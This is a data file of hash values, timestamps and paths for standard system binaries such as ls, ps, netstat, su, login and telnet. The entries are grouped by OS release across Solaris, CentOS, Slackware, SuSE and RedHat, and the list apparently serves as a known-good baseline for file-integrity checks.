Apr 28 20:26:49 2006 /usr/bin/sparcv9/ls [Solaris 2.10 Generic_127127-11] +DE36A12846CC42C1E098A40549A3EF4ECDA1C868 Thu May 4 22:09:10 2006 /usr/bin/sparcv9/ps [Solaris 2.10 Generic_127127-11] +AE49A40B4B87DCB3BD6C4FEEA13C5996E65DB8D9 Wed Oct 18 17:41:37 2006 /sbin/sh [Solaris 2.10 Generic_127127-11] +7184C11C7654EDDA4D8656B4204E53397E3A1348 Tue May 1 23:37:28 2007 /bin/rm [Solaris 2.10 Generic_127127-11] +7184C11C7654EDDA4D8656B4204E53397E3A1348 Tue May 1 23:37:28 2007 /usr/bin/rm [Solaris 2.10 Generic_127127-11] +B32BC36642870DE7BB2EED177F3689E2BC8C81FA Thu Aug 16 17:22:57 2007 /bin/netstat [Solaris 2.10 Generic_127127-11] +B32BC36642870DE7BB2EED177F3689E2BC8C81FA Thu Aug 16 17:22:57 2007 /usr/bin/netstat [Solaris 2.10 Generic_127127-11] +CA74D0528EDC62004E1012031CD7DFDE6B4F9077 Thu Aug 16 17:23:00 2007 /usr/sbin/arp [Solaris 2.10 Generic_127127-11] +DE1C87DE0794F44A7DDB16E1BF256D366218CB32 Mon Sep 17 19:06:34 2007 /usr/sbin/in.ftpd [Solaris 2.10 Generic_127127-11] +F9F01D43C2C29597F03F980D0EF1D914A1E60D6F Mon Apr 7 23:09:47 2008 /usr/sbin/in.telnetd [Solaris 2.10 Generic_127127-11] +87EFBF142180C235020FDFF6C71DCB9BEB38670D Mon Apr 7 23:09:45 2008 /bin/telnet [Solaris 2.10 Generic_127127-11] +87EFBF142180C235020FDFF6C71DCB9BEB38670D Mon Apr 7 23:09:45 2008 /usr/bin/telnet [Solaris 2.10 Generic_127127-11] +0249DF8DAF81051E46862459152FAB469CBEFB97 Mon Apr 7 23:13:46 2008 /usr/sbin/in.rlogind [Solaris 2.10 Generic_127127-11] +607C0342F077A6FD049145627389AA235A8AAA58 Mon Apr 7 23:13:46 2008 /usr/sbin/in.rshd [Solaris 2.10 Generic_127127-11] +AE49A40B4B87DCB3BD6C4FEEA13C5996E65DB8D9 Wed Oct 18 17:41:37 2006 /bin/sh [Solaris 2.10 Generic_127127-11] +AE49A40B4B87DCB3BD6C4FEEA13C5996E65DB8D9 Wed Oct 18 17:41:37 2006 /usr/bin/sh [Solaris 2.10 Generic_127127-11] +201BA78CB4D1F9F029C66BE99395AC236D92BE9B Mon Apr 7 23:16:44 2008 /usr/sbin/inetd [Solaris 2.10 Generic_127127-11] +718E99FBACB8211B13D39B3D4E9EC965A523097C Tue May 24 23:40:26 2005 /sbin/su [Solaris 2.10 Generic_127127-11] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/ucb/w [Solaris 2.10 Generic_127127-11] +87EFBF142180C235020FDFF6C71DCB9BEB38670D Mon Apr 7 23:09:45 2008 /usr/ucb/telnet [Solaris 2.10 Generic_127127-11] +B32BC36642870DE7BB2EED177F3689E2BC8C81FA Thu Aug 16 17:22:57 2007 /usr/ucb/netstat [Solaris 2.10 Generic_127127-11] + +534D354DC1F0581E8834D00B8F977FD99449DDFF Sun Jan 7 12:20:15 2007 /usr/bin/find [CentOS 5.2 x86_64] +C84F18C9DC7FA44291CE72FF55D56FD05D32E3DA Sat Dec 1 09:10:50 2007 /usr/bin/telnet [CentOS 5.2 x86_64] +E5085AA289911B515AED42DC50EE9FB97456A2A5 Sat May 24 15:31:16 2008 /bin/su [CentOS 5.2 x86_64] +DB2AFCA1FCECF12761DEFEFA85AA76A3C4EFB1CA Sat May 24 15:31:19 2008 /bin/rm [CentOS 5.2 x86_64] +1DB7B7575F570A8F87BDF5963EA687B0D6180350 Sat May 24 15:31:19 2008 /bin/ls [CentOS 5.2 x86_64] +3EE2027FDFBFF023F4C0E03664B1D45527E4A1C5 Sat May 24 16:42:16 2008 /usr/bin/w [CentOS 5.2 x86_64] +CDA4DD5A205FB0DA1BF385C433C9129CCD8E2937 Sat May 24 16:42:16 2008 /bin/ps [CentOS 5.2 x86_64] +839726029C480E41F8799692D54FA337EE1CFB71 Sat May 24 19:41:12 2008 /sbin/modinfo [CentOS 5.2 x86_64] +2A6D4C00374DF6E4A2636279E185E014C8D51E50 Sat May 24 23:13:51 2008 /bin/login [CentOS 5.2 x86_64] +AF576DB6272BEF1598FB5DF80DE26EB8768C5844 Sun May 25 06:26:25 2008 /sbin/arp [CentOS 5.2 x86_64] +99EEA5EA4CDDD58EF45E34CEBDF84BF7EBED2DE7 Sun May 25 06:26:25 2008 /bin/netstat [CentOS 5.2 x86_64] +A2D662DDF317214CA7F356221089BF69CA384118 Sat May 24 21:18:31 2008 /bin/sh [CentOS 5.2 x86_64] + +D3FB51754D2B898A2217F6BCFB79F7D1D9A50D67 Wed Jan 5 23:51:20 2000 /bin/ps [Solaris 2.8 Generic] +D3FB51754D2B898A2217F6BCFB79F7D1D9A50D67 Wed Jan 5 23:51:20 2000 /bin/w [Solaris 2.8 Generic] +D3FB51754D2B898A2217F6BCFB79F7D1D9A50D67 Wed Jan 5 23:51:20 2000 /usr/bin/ps [Solaris 2.8 Generic] +D3FB51754D2B898A2217F6BCFB79F7D1D9A50D67 Wed Jan 5 23:51:20 2000 /usr/bin/w [Solaris 2.8 Generic] +D3FB51754D2B898A2217F6BCFB79F7D1D9A50D67 Wed Jan 5 23:51:20 2000 /usr/ucb/ps [Solaris 2.8 Generic] +F5023BF304DB8A9E22F78B40C800843ED3FAFA8D Wed Jan 5 23:53:54 2000 /usr/sbin/in.ftpd [Solaris 2.8 Generic] +107624189ABABB46992E2A5B436BC739F34F5CDE Wed Jan 5 23:54:36 2000 /bin/find [Solaris 2.8 Generic] +107624189ABABB46992E2A5B436BC739F34F5CDE Wed Jan 5 23:54:36 2000 /usr/bin/find [Solaris 2.8 Generic] +B23D4EE9FF0E9CBB9738D612BAB8847A46C73BAD Wed Jan 5 23:57:23 2000 /bin/login [Solaris 2.8 Generic] +B23D4EE9FF0E9CBB9738D612BAB8847A46C73BAD Wed Jan 5 23:57:23 2000 /usr/bin/login [Solaris 2.8 Generic] +37C4C703D48470CA5F2E87C45BE4303DF9535486 Wed Jan 5 23:57:54 2000 /bin/ls [Solaris 2.8 Generic] +37C4C703D48470CA5F2E87C45BE4303DF9535486 Wed Jan 5 23:57:54 2000 /usr/bin/ls [Solaris 2.8 Generic] +7005902DED0729B0D8FD779776C9960E1D325B55 Wed Jan 5 23:58:41 2000 /usr/bin/sparcv9/ls [Solaris 2.8 Generic] +72D4298093B2D3462B845B9D02C510E929D8BCCC Wed Jan 5 23:59:21 2000 /usr/sbin/modinfo [Solaris 2.8 Generic] +5868461A336F082069D6421E9E311AA477A301C2 Thu Jan 6 00:01:00 2000 /bin/netstat [Solaris 2.8 Generic] +5868461A336F082069D6421E9E311AA477A301C2 Thu Jan 6 00:01:00 2000 /usr/bin/netstat [Solaris 2.8 Generic] +067E63DE5F6214676CB4365B52D595945AE97407 Thu Jan 6 00:01:56 2000 /usr/sbin/arp [Solaris 2.8 Generic] +F9A5344600B92BFB445B427B3D224A0261F1BAFB Thu Jan 6 00:01:22 2000 /bin/rm [Solaris 2.8 Generic] +F9A5344600B92BFB445B427B3D224A0261F1BAFB Thu Jan 6 00:01:22 2000 /usr/bin/rm [Solaris 2.8 Generic] +13D6EF6B6BFD3CB7504B85268E60D065718DCF79 Thu Jan 6 00:01:58 2000 /usr/sbin/in.rlogind [Solaris 2.8 Generic] +7D08CEBF8A579F33E5021AB34423376931AFBD37 Thu Jan 6 00:01:59 2000 /usr/sbin/in.telnetd [Solaris 2.8 Generic] +D75143D78DC119A91C563F61CF0764DBB90C3FC6 Thu Jan 6 00:01:59 2000 /usr/sbin/inetd [Solaris 2.8 Generic] +26AE2C712489D10314105EDCC87E6610B5F93D1F Thu Jan 6 00:01:10 2000 /bin/telnet [Solaris 2.8 Generic] +26AE2C712489D10314105EDCC87E6610B5F93D1F Thu Jan 6 00:01:10 2000 /usr/bin/telnet [Solaris 2.8 Generic] +A6B18856F46CA11062DF0ED3AB5703F954ECC676 Thu Jan 6 00:25:47 2000 /usr/bin/sparcv7/w [Solaris 2.8 Generic] +323BE0CD635205AC53B69E6881C965C35E84DB5E Thu Jan 6 00:26:03 2000 /usr/bin/sparcv9/w [Solaris 2.8 Generic] +CBE9EB8E6B177427966B1A90D64FDAF2AABF388B Thu Jan 6 00:32:28 2000 /usr/ucb/ls [Solaris 2.8 Generic] +DC85437325E387F620F7590D83E168A5503C5240 Thu Mar 16 10:53:31 2000 /bin/su [Solaris 2.8 Generic] +DC85437325E387F620F7590D83E168A5503C5240 Thu Mar 16 10:53:31 2000 /usr/bin/su [Solaris 2.8 Generic] +92348DB2F4BB5FDED5E8D341E0428783577CDC9A Thu Mar 16 10:53:49 2000 /usr/bin/sparcv7/ps [Solaris 2.8 Generic] +B5AE96E10D6B525FB468617A380BB02E4AED12B0 Thu Mar 16 10:53:50 2000 /usr/bin/sparcv9/ps [Solaris 2.8 Generic] +E04AB38D6A4A2DAC9682B0D9D9FBEFBCADD0BAE3 Fri May 26 11:32:27 2000 /sbin/sh [Solaris 2.8 Generic] +1513513973F2F2954EB4E44736F50DB2653E5C25 Fri May 26 11:32:29 2000 /bin/sh [Solaris 2.8 Generic] +1513513973F2F2954EB4E44736F50DB2653E5C25 Fri May 26 11:32:29 2000 /usr/bin/sh [Solaris 2.8 Generic] +EF26E24E652C292CBDFD1EF464FD7D955873B4AF Thu Jun 8 16:08:34 2000 /usr/sbin/in.tftpd [Solaris 2.8 Generic] +0FEF59829F351F8CBC6CFF81A666AD4E4F231412 Mon Jul 10 11:22:22 2000 /usr/sbin/in.rshd [Solaris 2.8 Generic] +DC85437325E387F620F7590D83E168A5503C5240 Thu Mar 16 10:53:31 2000 /sbin/su [Solaris 2.8 Generic] +D3FB51754D2B898A2217F6BCFB79F7D1D9A50D67 Wed Jan 5 23:51:20 2000 /usr/ucb/w [Solaris 2.8 Generic] +26AE2C712489D10314105EDCC87E6610B5F93D1F Thu Jan 6 00:01:10 2000 /usr/ucb/telnet [Solaris 2.8 Generic] +5868461A336F082069D6421E9E311AA477A301C2 Thu Jan 6 00:01:00 2000 /usr/ucb/netstat [Solaris 2.8 Generic] + +09599B5349E13EAD67303F2EE2B52911F86714D3 Sat Apr 6 22:44:19 2002 /bin/ps [Solaris 2.9 Generic] +09599B5349E13EAD67303F2EE2B52911F86714D3 Sat Apr 6 22:44:19 2002 /bin/w [Solaris 2.9 Generic] +09599B5349E13EAD67303F2EE2B52911F86714D3 Sat Apr 6 22:44:19 2002 /usr/bin/ps [Solaris 2.9 Generic] +09599B5349E13EAD67303F2EE2B52911F86714D3 Sat Apr 6 22:44:19 2002 /usr/bin/w [Solaris 2.9 Generic] +09599B5349E13EAD67303F2EE2B52911F86714D3 Sat Apr 6 22:44:19 2002 /usr/ucb/ps [Solaris 2.9 Generic] +570892D29E2841BE4A4CE2DCB4BC82765E725330 Sat Apr 6 22:48:57 2002 /bin/find [Solaris 2.9 Generic] +570892D29E2841BE4A4CE2DCB4BC82765E725330 Sat Apr 6 22:48:57 2002 /usr/bin/find [Solaris 2.9 Generic] +E5621B75E4EA4D72562EE8EE29224D5CAADFEB0B Sat Apr 6 22:54:09 2002 /bin/login [Solaris 2.9 Generic] +E5621B75E4EA4D72562EE8EE29224D5CAADFEB0B Sat Apr 6 22:54:09 2002 /usr/bin/login [Solaris 2.9 Generic] +9734B51596B23BC737BACD9B5B92995E3D9F29BD Sat Apr 6 22:54:41 2002 /bin/ls [Solaris 2.9 Generic] +9734B51596B23BC737BACD9B5B92995E3D9F29BD Sat Apr 6 22:54:41 2002 /usr/bin/ls [Solaris 2.9 Generic] +8F94850F142E1554561F907E7CC17596A938C150 Sat Apr 6 22:54:08 2002 /usr/sbin/in.ftpd [Solaris 2.9 Generic] +BB95633DAE430C11071602962D09624C1D7EE943 Sat Apr 6 22:55:34 2002 /usr/bin/sparcv9/ls [Solaris 2.9 Generic] +CF7DF79A9D858ED2A2FF58D54BD8E7D7DEDFCD8C Sat Apr 6 22:58:29 2002 /bin/netstat [Solaris 2.9 Generic] +CF7DF79A9D858ED2A2FF58D54BD8E7D7DEDFCD8C Sat Apr 6 22:58:29 2002 /usr/bin/netstat [Solaris 2.9 Generic] +34174F5C3EF0844676AEC8751A41C39968633E5C Sat Apr 6 22:59:18 2002 /usr/sbin/modinfo [Solaris 2.9 Generic] +D420D0D50AE151063A670D3B025D90CA0A08117D Sat Apr 6 23:02:03 2002 /usr/sbin/arp [Solaris 2.9 Generic] +B19E9EED9961B53A2C246EBC60963A0CFBF0C38F Sat Apr 6 23:02:58 2002 /bin/rm [Solaris 2.9 Generic] +B19E9EED9961B53A2C246EBC60963A0CFBF0C38F Sat Apr 6 23:02:58 2002 /usr/bin/rm [Solaris 2.9 Generic] +1A47EE8059E33D1BF8C062320FA60AEDB69C47D2 Sat Apr 6 23:02:06 2002 /usr/sbin/in.rlogind [Solaris 2.9 Generic] +AF56C1CE8765671A069F417B4B50088EE219B05A Sat Apr 6 23:02:06 2002 /usr/sbin/in.rshd [Solaris 2.9 Generic] +8FA58E43B30794F21592601AA8464697FA290D7D Sat Apr 6 23:02:17 2002 /usr/bin/sparcv7/ps [Solaris 2.9 Generic] +61CF8350644C30E9290D79E37A53C8702A4E9597 Sat Apr 6 23:02:05 2002 /usr/sbin/in.tftpd [Solaris 2.9 Generic] +EE73B814205BE38EA3C3E529E303A27E2B10860B Sat Apr 6 23:02:07 2002 /usr/sbin/in.telnetd [Solaris 2.9 Generic] +310F1B04B6AFD36966DC848FC76C661936211020 Sat Apr 6 23:02:52 2002 /usr/bin/sparcv9/ps [Solaris 2.9 Generic] +9F04E8CA68941CF9B3A93614441CBAA93205A9E8 Sat Apr 6 23:02:07 2002 /usr/sbin/inetd [Solaris 2.9 Generic] +91028D726B9B1B7B05D6DEF35D75231B58653A2C Sat Apr 6 23:04:55 2002 /sbin/sh [Solaris 2.9 Generic] +3E3E6D19247980E8BEAC52497E7CDFD0AE72FE93 Sat Apr 6 23:04:53 2002 /bin/sh [Solaris 2.9 Generic] +3E3E6D19247980E8BEAC52497E7CDFD0AE72FE93 Sat Apr 6 23:04:53 2002 /usr/bin/sh [Solaris 2.9 Generic] +77C3F1AB55FED64FB912B4CFF31E864CE60D7CE8 Sat Apr 6 23:08:47 2002 /bin/su [Solaris 2.9 Generic] +77C3F1AB55FED64FB912B4CFF31E864CE60D7CE8 Sat Apr 6 23:08:47 2002 /usr/bin/su [Solaris 2.9 Generic] +32353A375C53C78F73C844453568E49171C4E7DA Sat Apr 6 23:13:04 2002 /usr/bin/sparcv7/w [Solaris 2.9 Generic] +5B435DF91C5A21326D42DDEF81E65F3B50571F08 Sat Apr 6 23:13:15 2002 /usr/bin/sparcv9/w [Solaris 2.9 Generic] +950715ABC9A55EAB0281DC0653ECD10D59DAEB50 Sat Apr 6 23:26:46 2002 /usr/ucb/ls [Solaris 2.9 Generic] +77C3F1AB55FED64FB912B4CFF31E864CE60D7CE8 Sat Apr 6 23:08:47 2002 /sbin/su [Solaris 2.9 Generic] +09599B5349E13EAD67303F2EE2B52911F86714D3 Sat Apr 6 22:44:19 2002 /usr/ucb/w [Solaris 2.9 Generic] +50A3A005BAA5B766ABCDB3C40B8FE2BEB8F6F167 Wed Dec 8 23:19:48 2010 /usr/ucb/telnet [Solaris 2.9 Generic] +CF7DF79A9D858ED2A2FF58D54BD8E7D7DEDFCD8C Sat Apr 6 22:58:29 2002 /usr/ucb/netstat [Solaris 2.9 Generic] +50A3A005BAA5B766ABCDB3C40B8FE2BEB8F6F167 Wed Dec 8 23:19:48 2010 /bin/telnet [Solaris 2.9 Generic] +50A3A005BAA5B766ABCDB3C40B8FE2BEB8F6F167 Wed Dec 8 23:19:48 2010 /usr/bin/telnet [Solaris 2.9 Generic] + +C84F18C9DC7FA44291CE72FF55D56FD05D32E3DA Sat Dec 1 09:10:50 2007 /usr/bin/telnet [CentOS 5.5 x86_64] +BFD72758D4A23A7C5106C273BC77C35B6D14A259 Thu Sep 3 18:06:19 2009 /usr/bin/find [CentOS 5.5 x86_64] +EF5E342FAEFF338DE5C5B4632277F27B26230EED Wed Jan 20 10:36:32 2010 /bin/login [CentOS 5.5 x86_64] +C3F025CD1845B78005004AC3FE9679138E3E8935 Tue Jan 26 23:41:20 2010 /sbin/arp [CentOS 5.5 x86_64] +E839B848023E061A60C24361ABBFAEC2E5F34263 Tue Jan 26 23:41:20 2010 /bin/netstat [CentOS 5.5 x86_64] +F02C9A43F7682CC89D0ACCDDFEAE26CF9AB28299 Sun Feb 28 22:25:58 2010 /bin/su [CentOS 5.5 x86_64] +146E337FF3F71CB2AF358C25DD79BDBF5D60307A Sun Feb 28 22:26:02 2010 /bin/rm [CentOS 5.5 x86_64] +77F89EB0E11F017ACBE36D90CDCBFFE70D539AA6 Sun Feb 28 22:26:02 2010 /bin/ls [CentOS 5.5 x86_64] +8EAEE59817BF621BF3E24A46ACC9E15AFBD66B91 Wed Mar 31 04:59:05 2010 /usr/bin/w [CentOS 5.5 x86_64] +84DA0A8298BFC1B872FEEA23B2F468558E9F2241 Wed Mar 31 04:59:05 2010 /bin/ps [CentOS 5.5 x86_64] +B7A6867374B3FBF4C83F0D3696BB64B436E481F8 Wed Mar 31 07:06:26 2010 /sbin/modinfo [CentOS 5.5 x86_64] +FA7EA33A3AD4202B830915906344C970B7F2B358 Thu Jan 22 01:15:24 2009 /bin/sh [CentOS 5.5 x86_64] + +EAFB3AAAC97983476512E488F75DD169F5FA7A91 Sun Apr 7 10:24:08 2002 /usr/bin/find [Slackware 10.2] +271D28A4D44242A6E962437CBA90BD14E4A86716 Tue Mar 16 02:08:59 2004 /bin/rm [Slackware 10.2] +2683E4A46D2C2E1123106B236E7FCE0406087F8E Tue Mar 16 02:08:59 2004 /bin/ls [Slackware 10.2] +C9A1135F97D7A76C9AEEFE41FF8FA444AD73841E Mon Jun 21 19:20:52 2004 /bin/su [Slackware 10.2] +9770FAD790FE4980560391ABEDA976753D7322EB Mon Jun 21 19:20:52 2004 /bin/login [Slackware 10.2] +44A52252554D2606C92B16524CD8B352F7620C39 Fri Sep 3 19:53:18 2004 /usr/sbin/inetd [Slackware 10.2] +A1B7903529A1D68D3817871C47AEB5AA139228B3 Sun Jan 2 01:27:21 2005 /sbin/modinfo [Slackware 10.2] +F191417F9B675623AA8A477DA36124D4E12F506F Thu Jul 14 05:14:10 2005 /usr/sbin/vsftpd [Slackware 10.2] +4898DFB7760DA840F293377882E69620B93B5F72 Wed Aug 3 05:33:20 2005 /usr/sbin/proftpd [Slackware 10.2] +5729C58698AA5D7C7A031DA3B06304DEFD922AA5 Tue Aug 30 02:03:01 2005 /usr/bin/w [Slackware 10.2] +CF66EDB1A0662F3F191566F7370EC178E543BDEB Tue Aug 30 02:03:01 2005 /bin/ps [Slackware 10.2] +69D51862C2306CCAF5A5E5F7A2A12366F9BABB82 Wed Sep 7 20:45:49 2005 /usr/sbin/in.rshd [Slackware 10.2] +022962A3261303200BB1A4BDA940A43CD5F427B6 Wed Sep 7 20:45:49 2005 /usr/sbin/in.rlogind [Slackware 10.2] +59397F872BF8BE07DAB26D56EEB1929C288ABF42 Wed Sep 7 20:45:59 2005 /usr/sbin/in.telnetd [Slackware 10.2] +7268E1BB083B7BCD497EEC415F68CDFCA79302EE Wed Sep 7 20:45:14 2005 /sbin/arp [Slackware 10.2] +2B681986C0A4F42A7537BA2120DCE92BF985AD68 Wed Sep 7 20:45:14 2005 /bin/netstat [Slackware 10.2] +FF3B40552907553B3EE1F34779DE2826C9F148ED Wed Sep 7 20:46:23 2005 /usr/sbin/in.tftpd [Slackware 10.2] +4D52968DF589AC12625A182BCA385B96A5C25CAE Wed Sep 7 20:46:05 2005 /bin/telnet [Slackware 10.2] +BD819DDD5A3716FD183E3933E77D700070EA9965 Sat Sep 10 19:46:58 2005 /bin/sh [Slackware 10.2] +2683E4A46D2C2E1123106B236E7FCE0406087F8E Tue Mar 16 02:08:59 2004 /usr/bin/ls [Slackware 10.2] +271D28A4D44242A6E962437CBA90BD14E4A86716 Tue Mar 16 02:08:59 2004 /usr/bin/rm [Slackware 10.2] +CF66EDB1A0662F3F191566F7370EC178E543BDEB Tue Aug 30 02:03:01 2005 /usr/bin/ps [Slackware 10.2] +4898DFB7760DA840F293377882E69620B93B5F72 Wed Aug 3 05:33:20 2005 /usr/sbin/in.proftpd [Slackware 10.2] + +C84F18C9DC7FA44291CE72FF55D56FD05D32E3DA Sat Dec 1 09:10:50 2007 /usr/bin/telnet [CentOS 5.6 x86_64] +EB35751E15775E79140AF3E4D34F21287991F337 Thu Sep 3 18:06:19 2009 /usr/bin/find [CentOS 5.6 x86_64] +A99619EA3E8A83432DC33A9183ACEB3736664314 Tue Jan 26 23:41:20 2010 /sbin/arp [CentOS 5.6 x86_64] +FD13DB47F9516B6F82404BE486F62B58DF20A007 Tue Jan 26 23:41:20 2010 /bin/netstat [CentOS 5.6 x86_64] +F02C9A43F7682CC89D0ACCDDFEAE26CF9AB28299 Sun Feb 28 22:25:58 2010 /bin/su [CentOS 5.6 x86_64] +441B6B87023A86549EA568AC8433C8EE0E2F15A1 Sun Feb 28 22:26:02 2010 /bin/rm [CentOS 5.6 x86_64] +D88BFA04749A4331A26482AB2C30FDB933D03663 Sun Feb 28 22:26:02 2010 /bin/ls [CentOS 5.6 x86_64] +1182038CC7E57245DE0EAF3E1C5088CC28F585B7 Wed Mar 31 04:59:05 2010 /usr/bin/w [CentOS 5.6 x86_64] +07193D4388C2E56EF2B48D13CCE0E93F99830549 Wed Mar 31 04:59:05 2010 /bin/ps [CentOS 5.6 x86_64] +C3378FF3E8203B5F6853A2FE26CD82A72550EB69 Mon Oct 11 11:31:17 2010 /sbin/modinfo [CentOS 5.6 x86_64] +F93623F7BDFCA3E538BDBA60E8961CC58DA506DF Thu Mar 10 13:32:54 2011 /bin/login [CentOS 5.6 x86_64] +8FCE34FB5081D92029EBAA4AF0C81AE14961995C Thu Jan 22 01:15:24 2009 /bin/sh [CentOS 5.6 x86_64] + +653F929CFB6DD275736B887C5D6C460D437A9650 Sat Feb 21 01:23:19 2009 /usr/bin/telnet [SuSE Enterprise 11.0 x86_64] +CF7D0FDC62FE8273B1F235C45A1CD03E8F440502 Sat Feb 21 01:24:43 2009 /sbin/modinfo [SuSE Enterprise 11.0 x86_64] +B86CB9ACA8176D6F2157E75E1F9325904B503468 Sat Feb 21 01:28:10 2009 /sbin/arp [SuSE Enterprise 11.0 x86_64] +75134169548AF6268FDEBC62685DB1A12EFC5471 Sat Feb 21 01:28:10 2009 /bin/netstat [SuSE Enterprise 11.0 x86_64] +AEF68044D1757B9E9FF3E9D7384E9703E8A5A54B Sat Feb 21 01:30:08 2009 /usr/bin/w [SuSE Enterprise 11.0 x86_64] +F234252C2577725D37F95207927DE180F85DDDC8 Sat Feb 21 01:30:08 2009 /bin/ps [SuSE Enterprise 11.0 x86_64] +D5D2CF22B05D9179590B6E925A8A46DF62F0C7B5 Sat Feb 21 01:30:13 2009 /usr/bin/find [SuSE Enterprise 11.0 x86_64] +4EFD87B9466C1E0733F46D9C3C12B87410F00556 Sat Feb 21 02:29:49 2009 /usr/sbin/in.tftpd [SuSE Enterprise 11.0 x86_64] +E2E8EF34264DC112FABE4B43D9EC8CD88055FE5C Sat Feb 21 02:30:22 2009 /usr/sbin/xinetd [SuSE Enterprise 11.0 x86_64] +91DE479B5DC777963993077AD28EAF188CA932EB Sat Feb 21 07:45:51 2009 /bin/login [SuSE Enterprise 11.0 x86_64] +8985A2CB3E370CE2872555A7A991C7D8590D1DF7 Sat Feb 21 07:45:58 2009 /usr/bin/opieftpd [SuSE Enterprise 11.0 x86_64] +8A48A0454A1AB0B75F7ADC11BF4B9C7402EE17B0 Sat Feb 21 07:49:50 2009 /bin/su [SuSE Enterprise 11.0 x86_64] +4B0FC111479E3EAA04AD959BCC4A37B2E72273D2 Sat Feb 21 07:49:50 2009 /bin/rm [SuSE Enterprise 11.0 x86_64] +F73A500A96B63BC0B720C21AAC72B0C63589F03F Sat Feb 21 07:49:50 2009 /bin/ls [SuSE Enterprise 11.0 x86_64] +9D95A62A9CEDE152E5C1EBD98A199FAC1CDED903 Mon Feb 23 20:56:30 2009 /usr/sbin/pure-ftpd [SuSE Enterprise 11.0 x86_64] +7E51FF81865664CDBD70C283A3B715521289F7D2 Sat Feb 21 01:26:34 2009 /bin/sh [SuSE Enterprise 11.0 x86_64] +7E51FF81865664CDBD70C283A3B715521289F7D2 Sat Feb 21 01:26:34 2009 /usr/bin/sh [SuSE Enterprise 11.0 x86_64] +F67A7231F392B95451E9554DCD12A8DC90BC9823 Mon Feb 23 20:56:29 2009 /usr/sbin/rcpure-ftpd [SuSE Enterprise 11.0 x86_64] +4F7719469820CE454672F8DDD45A5CB6A7924195 Sat Feb 21 02:30:21 2009 /usr/sbin/rcxinetd [SuSE Enterprise 11.0 x86_64] + +803A83F0A13F1AE53AA05CE28A31A5FE8E3FDDBB Thu Feb 17 23:48:17 2005 /sbin/modinfo [CentOS 4.2 x86_64] +154A69BD3517AAB324200F3868CEEC3557E29C93 Fri Feb 18 04:27:57 2005 /usr/bin/find [CentOS 4.2 x86_64] +94F445B0135263B5030156F44353878052587727 Sat Apr 9 17:31:02 2005 /sbin/arp [CentOS 4.2 x86_64] +56F4140D27154085511FB24A72834FE1940EBE57 Sat Apr 9 17:31:01 2005 /bin/netstat [CentOS 4.2 x86_64] +4D035E747FE179F433022BC04FFD2D7495F1552E Tue Jun 14 20:36:21 2005 /usr/bin/telnet [CentOS 4.2 x86_64] +B7783C5DB3DE962797F28E20DE7F0D4E28F9172E Fri Oct 7 21:08:56 2005 /usr/sbin/xinetd [CentOS 4.2 x86_64] +2750F10D88A2CA37181A72632234597D847A0210 Fri Oct 7 21:11:18 2005 /bin/login [CentOS 4.2 x86_64] +4C2EC111F9F9960D81FBA628AC5883C930E6A0CD Fri Oct 7 22:01:47 2005 /usr/bin/w [CentOS 4.2 x86_64] +8CA247A5053A1DA27A0688A683A68A2FD5420AAF Fri Oct 7 22:01:47 2005 /bin/ps [CentOS 4.2 x86_64] +24B1404CBD99009124B82B48A7D999A98507DF43 Sat Oct 8 01:55:56 2005 /bin/su [CentOS 4.2 x86_64] +4AACB45BEE1BBA726E0615499C75003C5A2CD07D Sat Oct 8 01:56:00 2005 /bin/rm [CentOS 4.2 x86_64] +14FEF4E377B1DCB76D41BE538F0F470201B40F8D Sat Oct 8 01:56:00 2005 /bin/ls [CentOS 4.2 x86_64] +FCB2F947157E7767DBDE05517B851E4FD0820380 Fri Feb 18 01:30:32 2005 /bin/sh [CentOS 4.2 x86_64] + +D02B49C1A14CFC12AA16D11B92C6575D02733AD1 Wed Sep 27 07:59:21 2006 /usr/bin/find [CentOS 4.7] +48CE9EAE07855A22B257BCE2F52D9FC5F9A880AD Sat Nov 17 12:08:40 2007 /usr/bin/telnet [CentOS 4.7] +140B23C45812617044720E669D5EF1CD6DF13A85 Fri Jul 25 13:04:24 2008 /usr/sbin/xinetd [CentOS 4.7] +FB0F83433ED7EEEB2F51E064BCE9D5B81B58AE75 Fri Jul 25 15:00:47 2008 /sbin/arp [CentOS 4.7] +E67C3CFE1A50A0F382E6A5BBE9D1C4A63DE29FF3 Fri Jul 25 15:00:47 2008 /bin/netstat [CentOS 4.7] +9E3E47D1394FCC8CD3EC30CA39C42721CFC6DB3C Fri Jul 25 16:46:15 2008 /usr/bin/w [CentOS 4.7] +A5C657D1FE233DD2738E7FD795BC789C824FB1DD Fri Jul 25 16:46:15 2008 /bin/ps [CentOS 4.7] +9165628759D58E067ADDEA065F0BE98C3F996530 Fri Jul 25 20:10:50 2008 /bin/login [CentOS 4.7] +D26B814C8FC9F74C8ACA0B00C5766AD4F33DCA79 Fri Jul 25 20:28:08 2008 /sbin/modinfo [CentOS 4.7] +80993072C154DAF987A17B9942920166D18B6766 Sun Jul 27 02:26:49 2008 /bin/su [CentOS 4.7] +42637F660FC9C98782DC0744AC7BA39BE0822B92 Sun Jul 27 02:26:54 2008 /bin/rm [CentOS 4.7] +D598710B2BB49655D01B7A3887A40D0877F385FD Sun Jul 27 02:26:54 2008 /bin/ls [CentOS 4.7] +F823B02D438752F16AE763AC79A5CB989DA60440 Fri Jul 25 15:42:51 2008 /bin/sh [CentOS 4.7] + +7FA2AE9C7B71EFB0DE38B8BDE99F79AAEED6955A Tue Jan 16 14:49:59 2001 /bin/su [RedHat 7.1] +9AB81EFA9DF80179EFF69DE8BDFCB337B6E7EAAD Mon Jan 22 13:52:24 2001 /usr/bin/telnet [RedHat 7.1] +5D1B71D20A543702A564253AD8C0A6BA5F35B9D4 Fri Feb 9 04:29:07 2001 /usr/bin/find [RedHat 7.1] +B033CEBA357251BC66ABF81D88650CE742288B79 Fri Mar 9 16:47:13 2001 /sbin/modinfo [RedHat 7.1] +65A66D5F4618730DDD991E6C19DF0E407897B07D Wed Mar 14 16:42:17 2001 /bin/rm [RedHat 7.1] +AD4523F2B73A723D5B7E7BF9D120F99E27A34E43 Wed Mar 14 16:42:17 2001 /bin/ls [RedHat 7.1] +AEEF23810320E5845AF21E2FEF8FA1A2D96EDD0C Thu Apr 5 13:54:41 2001 /usr/bin/w [RedHat 7.1] +DE725303504A0936ACF3C9E0589E708809E1E1D1 Thu Apr 5 13:54:41 2001 /bin/ps [RedHat 7.1] +E5924081235D1451FDBFFB669B57C99DF49B1827 Sun Apr 8 14:12:03 2001 /bin/login [RedHat 7.1] +64FE5C2917673774551C3CA700B1ECFE47F0EF11 Sun Apr 8 15:17:31 2001 /sbin/arp [RedHat 7.1] 